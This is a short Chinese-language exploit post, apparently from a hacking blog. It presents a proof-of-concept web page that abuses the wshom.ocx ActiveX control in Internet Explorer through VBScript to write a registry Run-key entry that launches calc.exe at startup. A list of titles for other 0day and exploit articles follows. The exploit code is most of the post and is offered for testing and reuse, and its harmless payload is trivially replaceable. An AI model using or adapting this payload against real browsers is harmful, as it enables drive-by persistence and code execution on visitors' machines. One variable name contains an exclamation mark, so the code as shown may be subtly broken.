来源:坏人咖啡的窝
这个代码会写入启动项,各位看官测试的时候注意了,不会当时生效,重启后可见效果!
测试代码:
<html>
<object classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B' id='target' ></object>
<script language='vbscript'>
targetFile = "c:\WINDOWS\system32\wshom.ocx"
prototype = "Sub RegWrite ( ByVal Name As String , ByRef Value As Variant , [ ByRef Type As Variant ] )"
memberName = "RegWrite"
progid = "IWshRuntimeLibrary.IWshShell_Class"
argCount = 3
D3V!L FUCKER="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
germaya_x="C:\WINDOWS\system32\calc.exe"
his0k4="REG_SZ"
target.RegWrite D3V!L FUCKER ,germaya_x ,his0k4
</script>
只显示10条记录相关文章
ecshop最新版(v272) 本地包含漏洞ODAY(鸡肋) (浏览: 16019, 评论: 0)
V5-SHOP商城0day (浏览: 9421, 评论: 0)
无忧购物时尚ASP版 oday (浏览: 12016, 评论: 0)
ECSHOP 2.7.X注入漏洞_20100507 (浏览: 15975, 评论: 0)
最新DVBBS8.0以上版本后台提升webshell 0day (浏览: 11691, 评论: 0)
良精所有产品通杀 (浏览: 8847, 评论: 0)
shopwind oday 分析 (浏览: 9022, 评论: 0)
云起企业建站系统通杀oday (浏览: 11139, 评论: 0)
Discuz! 6.x/7.x SODB-2008-13 Exp (浏览: 12143, 评论: 0)
又一个IE的最新0DAY(IE浏览器wshom.ocx ActiveX控件远程代码执行) (浏览: 8286, 评论: 0)
V5-SHOP商城0day (浏览: 9421, 评论: 0)
无忧购物时尚ASP版 oday (浏览: 12016, 评论: 0)
ECSHOP 2.7.X注入漏洞_20100507 (浏览: 15975, 评论: 0)
最新DVBBS8.0以上版本后台提升webshell 0day (浏览: 11691, 评论: 0)
良精所有产品通杀 (浏览: 8847, 评论: 0)
shopwind oday 分析 (浏览: 9022, 评论: 0)
云起企业建站系统通杀oday (浏览: 11139, 评论: 0)
Discuz! 6.x/7.x SODB-2008-13 Exp (浏览: 12143, 评论: 0)
又一个IE的最新0DAY(IE浏览器wshom.ocx ActiveX控件远程代码执行) (浏览: 8286, 评论: 0)